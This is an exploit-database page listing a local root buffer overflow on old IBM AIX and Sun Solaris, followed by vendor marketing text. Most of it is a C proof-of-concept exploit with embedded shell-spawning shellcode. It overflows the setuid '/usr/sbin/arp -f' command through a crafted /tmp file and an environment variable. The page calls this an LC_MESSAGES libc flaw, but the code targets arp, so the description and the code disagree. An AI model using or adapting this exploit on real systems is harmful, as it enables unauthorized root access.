Lucene search
K

IBM AIX <= 4.2.1, Sun Solaris <= 7.0 LC_MESSAGES libc Buffer Overflow Vulnerability (4)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

AIX and Solaris LC_MESSAGES Buffer Overflo

Code

                                                source: http://www.securityfocus.com/bid/268/info
   
A buffer overflow in libc&#39;s handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM&#39;s AIX and Sun Microsystem&#39;s Solaris. This vulnerability allows local users to gain root privileges.

#include &#60;fcntl.h&#62;

/* arpexp.c
 
   arp overflow proof of concept by [email protected]
   shellcode originally written by Cheez Whiz.

   tested on x86 solaris 7,8beta
 
   default should work.  if not, arg1 = offset. +- by 100&#39;s 

   Except for shellcode, copyright Security-Focus.com, 11/2000 
*/

long get_esp() { __asm__(&#34;movl %esp,%eax&#34;); }

int main(int ac, char **av)
{

  char shell[] = &#34;\xeb\x45\x9a\xff\xff\xff\xff\x07\xff&#34;
                 &#34;\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46&#34;
                 &#34;\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0&#34;
                 &#34;\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52&#34;
                 &#34;\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff&#34;
                 &#34;\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08&#34;
                 &#34;\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b&#34;
                 &#34;\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8&#34;
                 &#34;\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f&#34;
                 &#34;\x73\x68\xff\xff\xff\xff\xff\xff\xff&#34;
                 &#34;\xff\xff&#34;;

  unsigned long magic = 0x8047b78;
  unsigned long r = get_esp() + 600; 
  unsigned char buf[300];
  int f;

  if (ac == 2)
    r += atoi(av[1]);

  memset(buf,0x61,sizeof(buf));
  memcpy(buf+52,&magic,4);
  memcpy(buf+76,&r,4);

  f = open(&#34;/tmp/ypx&#34;,O_CREAT|O_WRONLY,0600);
  write(f,&#34;1 2 3 4 &#34;,8);
  write(f,buf,sizeof(buf));
  close(f);

  memset(buf,0x90,sizeof(buf));
  memcpy(buf,&#34;LOL=&#34;,4);
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  putenv(buf);

  system(&#34;/usr/sbin/arp -f /tmp/ypx&#34;);
  unlink(&#34;/tmp/ypx&#34;);

}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
10